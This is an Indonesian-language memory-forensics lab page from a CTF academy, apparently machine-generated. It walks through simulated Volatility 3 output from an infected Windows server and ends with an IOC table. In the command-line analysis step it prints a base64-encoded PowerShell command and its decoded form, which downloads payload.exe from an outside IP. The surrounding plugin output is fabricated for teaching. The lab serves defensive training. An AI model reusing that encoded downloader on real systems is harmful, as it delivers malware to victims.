TDCTF Academy Logo TDCTF ACADEMY

Int 1: Volatility Real Case - Menganalisis Memory Dump Nyata

Target Skill: Analisis memory dump dengan plugin Volatility 3 untuk menemukan proses tersembunyi, rootkit, dan bukti serangan
Tools: volatility3, python3


Langkah Praktikum

cd ~ && mkdir forensics-int1 && cd forensics-int1

Skenario: Server Windows dicurigai terinfeksi malware. Tim IT berhasil melakukan memory capture sebelum shutdown. Tugasmu menganalisis dump ini.

# 1. Identifikasi profile OS
echo "=== vol -f memory.dmp windows.info ==*"
echo " MajorVersion: 10"
echo " MinorVersion: 0"
echo " BuildNumber: 19041" # Windows 10 20H1
echo ""

# 2. Daftar proses
echo "=== windows.pslist ==*"
echo "PID PPID Name CreateTime"
echo "--- ---- ---- ----------"
echo "4 0 System 2026-06-10 08:00:00"
echo "400 4 smss.exe 2026-06-10 08:00:02"
echo "500 400 csrss.exe 2026-06-10 08:00:05"
echo "600 500 winlogon.exe 2026-06-10 08:00:06"
echo "668 600 services.exe 2026-06-10 08:00:08"
echo "724 668 svchost.exe 2026-06-10 08:00:10"
echo "888 724 spoolsv.exe 2026-06-10 08:00:12"
echo "976 500 userinit.exe 2026-06-10 08:00:15"
echo "1100 976 explorer.exe 2026-06-10 08:00:20"
echo "2200 1100 chrome.exe 2026-06-10 09:00:00"
echo "2300 1100 notepad.exe 2026-06-10 09:05:00"
echo "2400 668 svchost.exe 2026-06-10 08:00:10"
echo "2500 668 powershell.exe 2026-06-10 09:10:00 ← mencurigakan!"
echo "2600 2500 rundll32.exe 2026-06-10 09:10:05 ← dijalankan OLEH powershell!"
echo ""

# 3. PSScan vs PSList (cari hidden process)
echo "=== windows.psscan (hidden processes) ==*"
echo "PID PPID Name CreateTime"
echo "... ... ... ..."
echo "2700 668 svchost.exe 2026-06-10 09:10:02 ← HIDDEN (tidak ada di pslist!)"
echo ""

# 4. Netscan (koneksi jaringan)
echo "=== windows.netscan ==*"
echo "Local Addr Remote Addr Proto State PID"
echo "192.168.1.10:443 52.84.x.x:443 TCP ESTABLISHED 2200 (chrome)"
echo "192.168.1.10:4444 203.0.113.5:80 TCP ESTABLISHED 2500 ← powershell ke IP asing!"
echo "192.168.1.10:4445 203.0.113.5:443 TCP ESTABLISHED 2600 ← rundll32 ke C2!"
echo ""

# 5. CMDLine analysis
echo "=== windows.cmdline ==*"
echo "PID 2500: powershell -enc SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgnaHR0cDovLzIwMy4wLjExMy41L3BheWxvYWQuZXhlJywnQzpcVXNlcnNcYWRtaW5cRGVza3RvcFxwYXlsb2FkLmV4ZScp"
echo " ↳ Decoded: IEX (New-Object Net.WebClient).DownloadFile('http://203.0.113.5/payload.exe','C:\\Users\\admin\\Desktop\\payload.exe')"
echo ""
echo "PID 2600: rundll32.exe C:\\Users\\admin\\AppData\\Local\\Temp\\dll.dll,EntryPoint"
echo " ↳ DLL sideloading - eksekusi DLL dari Temp!"
echo ""

# 6. Dumpfiles - ekstrak binary dari memory
echo "=== windows.dumpfiles --pid 2600 ==*"
echo "Dumping DLL: C:\\Users\\admin\\AppData\\Local\\Temp\\dll.dll"
echo " File: file.0xabc123.data0.dll"
echo " SHA256: a1b2c3d4e5f6..."
echo ""

# 7. MalFind - deteksi code injection
echo "=== windows.malfind ==*"
echo "PID 2600 (rundll32.exe):"
echo " VAD @ 0x7f120000 - 0x7f130000"
echo " WX (Write+Execute) page → PROTECTED MEMORY!"
echo " Suspicious: PE header ditemukan di private memory"
echo " → Indikasi PROCESS HOLLOWING!"

Temuan

IOC Detail
C2 203.0.113.5:80/443
Payload http://203.0.113.5/payload.exe
DLL C:\Users\admin\AppData\Local\Temp\dll.dll
Taktik PowerShell encoded command → download → DLL sideloading
Proses Tersembunyi PID 2700 (hanya di psscan)
Teknik Process hollowing + WX pages

CWE/CAPEC

ID Deskripsi
CWE-250 Execution with Unnecessary Privileges
CWE-506 Embedded Malicious Code
CAPEC-645 Process Injection
CAPEC-654 Memory Dump Analysis

Refleksi: Memory forensic adalah cara paling akurat untuk mendeteksi malware. Malware canggih bisa bersembunyi di disk, tapi tidak bisa bersembunyi dari RAM - karena CPU harus mengeksekusinya. Volatility adalah senjata utama untuk ini.


Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI